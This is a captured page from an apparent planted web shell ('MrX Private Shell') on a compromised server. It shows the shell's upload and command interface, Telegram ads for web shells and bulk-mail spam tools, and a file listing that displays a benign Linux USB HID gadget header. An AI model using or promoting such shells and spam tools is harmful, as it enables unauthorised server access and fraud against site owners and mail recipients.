__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */

#ifndef __UAPI_LINUX_USB_G_HID_H
#define __UAPI_LINUX_USB_G_HID_H

#include <linux/types.h>

/* Maximum HID report length for High-Speed USB (i.e. USB 2.0) */
#define MAX_REPORT_LENGTH 64

/**
 * struct usb_hidg_report - response to GET_REPORT
 * @report_id: report ID that this is a response for
 * @userspace_req:
 *    !0 this report is used for any pending GET_REPORT request
 *       but wait on userspace to issue a new report on future requests
 *    0  this report is to be used for any future GET_REPORT requests
 * @length: length of the report response
 * @data: report response
 * @padding: padding for 32/64 bit compatibility
 *
 * Structure used by GADGET_HID_WRITE_GET_REPORT ioctl on /dev/hidg*.
 */
struct usb_hidg_report {
	__u8 report_id;
	__u8 userspace_req;
	__u16 length;
	__u8 data[MAX_REPORT_LENGTH];
	__u8 padding[4];
};

/* The 'g' code is used by gadgetfs and hid gadget ioctl requests.
 * Don't add any colliding codes to either driver, and keep
 * them in unique ranges.
 */

#define GADGET_HID_READ_GET_REPORT_ID   _IOR('g', 0x41, __u8)
#define GADGET_HID_WRITE_GET_REPORT     _IOW('g', 0x42, struct usb_hidg_report)

#endif /* __UAPI_LINUX_USB_G_HID_H */

Filemanager

Name Type Size Permission Actions
audio.h File 19.03 KB 0644
cdc-wdm.h File 739 B 0644
cdc.h File 13.16 KB 0644
ch11.h File 8.83 KB 0644
ch9.h File 39.23 KB 0644
charger.h File 598 B 0644
functionfs.h File 16.27 KB 0644
g_hid.h File 1.22 KB 0644
g_printer.h File 1.35 KB 0644
g_uvc.h File 1.14 KB 0644
gadgetfs.h File 2.76 KB 0644
midi.h File 3.35 KB 0644
raw_gadget.h File 8.38 KB 0644
tmc.h File 4.74 KB 0644
video.h File 18.62 KB 0644
Filemanager